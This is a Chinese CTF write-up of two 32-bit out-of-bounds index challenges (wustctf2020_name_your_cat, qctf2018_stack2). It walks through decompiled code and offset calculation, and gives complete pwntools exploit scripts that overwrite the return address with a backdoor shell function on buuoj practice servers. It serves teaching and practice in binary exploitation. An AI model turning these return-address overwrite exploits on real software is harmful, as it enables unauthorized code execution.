0%

两道有关索引越界的例题

wustctf2020_name_your_cat

思路

​ 检查保护,32位程序,开了NXcanary保护

image-20240219185444801

​ 分析源码,程序有后门函数,整体思路就是两次输入分别写进两个地址,这个过程循环5次,然后跳出主函数。

int shell()
{
return system("/bin/sh");
}
int __cdecl NameWhich(int a1)
{
int v2[4]; // [esp+18h] [ebp-10h] BYREF

v2[1] = __readgsdword(0x14u);
printf("Name for which?\n>");
__isoc99_scanf("%d", v2);
printf("Give your name plz: ");
__isoc99_scanf("%7s", 8 * v2[0] + a1);
return v2[0];
}
unsigned int vulnerable()
{
int i; // [esp+Ch] [ebp-3Ch]
int v2; // [esp+10h] [ebp-38h]
char v3[40]; // [esp+14h] [ebp-34h] BYREF
unsigned int v4; // [esp+3Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
puts("I bought you five famale cats.Name for them?");
for ( i = 1; i <= 5; ++i )
{
v2 = NameWhich((int)v3);
printf("You get %d cat!!!!!!\nlemonlemonlemonlemonlemonlemonlemon5555555\n", i);
printf("Her name is:%s\n\n", &v3[8 * v2]);
}
return __readgsdword(0x14u) ^ v4;
}

​ 我们分析漏洞函数NameWhichv2是一个数组,第一次输入,我们是从v2的起始地址(即v2[0])开始写,第二次输入被写到8*v2[0]+a1这个地址。我们就可以通过第一次输入的内容控制第二次输入被写的地址距离a1的起始地址的偏移。

​ 返回地址距离a1的起始地址的偏移为0x34+4=56个字节,也就是说第一次输入7,第二次输入就可以覆盖返回地址。

image-20240219192825555

exp

from tools import *
#p = process('./name')
p = remote("node5.buuoj.cn",28394)
#debug(p)

p.sendlineafter(b"Name for which?\n>",b'1')
p.sendlineafter(b"Give your name plz: ",b'a')
p.sendlineafter(b"Name for which?\n>",b'1')
p.sendlineafter(b"Give your name plz: ",b'a')
p.sendlineafter(b"Name for which?\n>",b'1')
p.sendlineafter(b"Give your name plz: ",b'a')
p.sendlineafter(b"Name for which?\n>",b'1')
p.sendlineafter(b"Give your name plz: ",b'a')

shell_addr = 0x080485cb
payload = p32(shell_addr)
p.sendlineafter(b"Name for which?\n>",b'7')
p.sendlineafter(b"Give your name plz: ",payload)

p.interactive()

拿到flag

image-20240219194037922

qctf2018_stack2

学习与收获

通过本题的学习与收获有:

  1. ida中计算的偏移量有时候会有错误,如果在思路正确啥的都正确的时候还打不通,并且找不到错误在哪儿,一定要在gdb中重新算一下偏移量。

保护&源码

保护:

image-20240307161634907

源码:

image-20240307161947166 image-20240307162150734

思路

​ 程序中有后门函数,代码比较长,不过我们仔细分析一下就能找到漏洞点,下图这里,一个索引越界的漏洞。我们可以控制v5v13起始地址距离装返回地址的地址的偏移量,控制v7为后门函数地址,便可覆盖返回地址为后门函数地址。

image-20240307162715000

​ 接下来我们需要确定偏移量。一开始我是在ida中计算的偏移量,这个var_70就是v13,偏移量为0x74。不过本题在ida看的偏移量是错误的,我们需要动态调试一下。

image-20240307163736180

下图中,0xffffd010v7的起始地址

image-20240307164308647

下图中,0xffffd0ac是装main函数返回地址的栈地址

image-20240307164417694

v7esp的偏移为0x9cv7距离v13的偏移为0x88-0x70 = 0x18,故v13距离esp的偏移为0x9c-0x18 = 0x84

image-20240307164926323

​ 最后还有一个地方也是我一开始没有注意到的,v13[]char类型的,我们一次只能往地址里写一个字符也就是一个字节,后门函数地址0x0804859b4个字节,所以我们要分4次写入。

exp

from tools import *
#p = process('./stack2')
p = remote("node5.buuoj.cn",26404)
#debug(p)

p.sendline(str(0))
#p.recvuntil(b'5. exit\n')
backdoor_addr = [0x9b,0x85,0x04,0x08]
offset = 0x84
#p.sendline(3)
for i in range(4):
p.sendlineafter("5. exit",str(3))
p.sendlineafter("change:",str(offset+i))
p.sendlineafter("new number:",str(backdoor_addr[i]))
p.sendlineafter("5. exit",str(5))

p.interactive()

拿到flag

image-20240310143745724